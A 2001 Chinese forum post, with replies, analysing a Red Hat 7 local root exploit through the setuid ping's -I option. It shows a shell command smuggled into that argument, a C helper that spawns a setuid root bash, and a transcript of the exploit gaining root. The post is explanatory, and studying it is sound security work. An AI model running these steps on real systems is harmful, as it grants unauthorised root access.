|
|
本帖版权归原作者,其它网站转载须注明出处,传统媒体转载须事先与原作者和e龙西祠胡同[http://www.xici.net]联系。 | 作者: 大鹰 发表日期: 2001-02-24 02:00:25 返回《黑客也是侠》 快速返回
redhat7本地利用ping拿root漏洞详析 作者:大鹰 <[email protected]> 首先声明,我不公布攻击程序的原代码,虽然网上已经有了,但我不公布出来是我不会为此负责。知道了 这个漏洞的原理相信大家自己可以写出攻击代码,我贴一些关键代码以供分析。代码不长,可以用shell或 perl来编写,推荐用shell写(shell的重要性不在累述)。 原理: 也许是redhat7的重大漏洞吧,他的ping程序的-I参数允许利用格式化字符串来执行任意代码,大家都知道 ping程序的权位是这样的: [Hello!sune4gle]$ ls -l /bin/ping -rwsr-xr-x 1 root root 20604 Aug 8 2000 /bin/ping 具有s权位,所以我们就有大文章可做了,呵呵,我们可以通过用ping的-I参数来ping一个不存在的ip,当 然ip前面的参数是关键,也就是我们的执行命令,s权位令我们以普通权限的uid来运行ping时的euid为0, 所以实际上我们在运行ping的一瞬间是以超级拥护的权限在执行命令的。这样如果我们运行如下的命令的 话: [Hello!sune4gle]$ping -I ';chmod o+w .' 195.117.3.59 &>/dev/null 就是把当前目录对其他用户可写了,呵呵,当然我们可以利用sleep语句来使该进程等待,利用等待的时间 我们可以写一个c程序,让他编译并且运行: cat >/x.c <<_eof_ main() { setuid(0); seteuid(0); system("chmod 755 /;rm -f /x; rm -f /x.c"); execl("/bin/bash","bash","-i",0); } _eof_ gcc /x.c -o /x chmod 755 /x 到这里大家应该都明白了吧?呵呵在/下创建x.c文件,并且编译,使它也拥有s权位,呵呵就使一个setuid 的rootshell啦,哈哈,好,我把我这个shell在redhat7下的运行测试结果贴出来: 首先我得有个普通帐户,嘿嘿 [Hello!sune4gle]$ ./getroot.sh RedHat 7.0 exploit (c) 2000 suneagle <[email protected]> Enjoy hacking! :) Phase 1: making / world-writable... Phase 2: compiling helper program in /... Phase 3: chown+chmod on our helper program... Ye! Entering rootshell... [Hello!root]# id uid=0(root) gid=500(sune4gle) groups=500(sune4gle) [Hello!root]#
ping 要调用raw_socket 所有有s位 -I 是指定interface 这里的问题应该不是格式化字符串的漏洞吧
是在指定interface的时候用到了modprobe和insmod
Feb 24 11:16:27 ssq modprobe: modprobe: insmod ;chmod o+w . failed Feb 24 11:16:30 ssq modprobe: modprobe: insmod ;chown 0 x failed Feb 24 11:16:31 ssq modprobe: modprobe: insmod ;chmod +s x failed 这是攻击后的log

|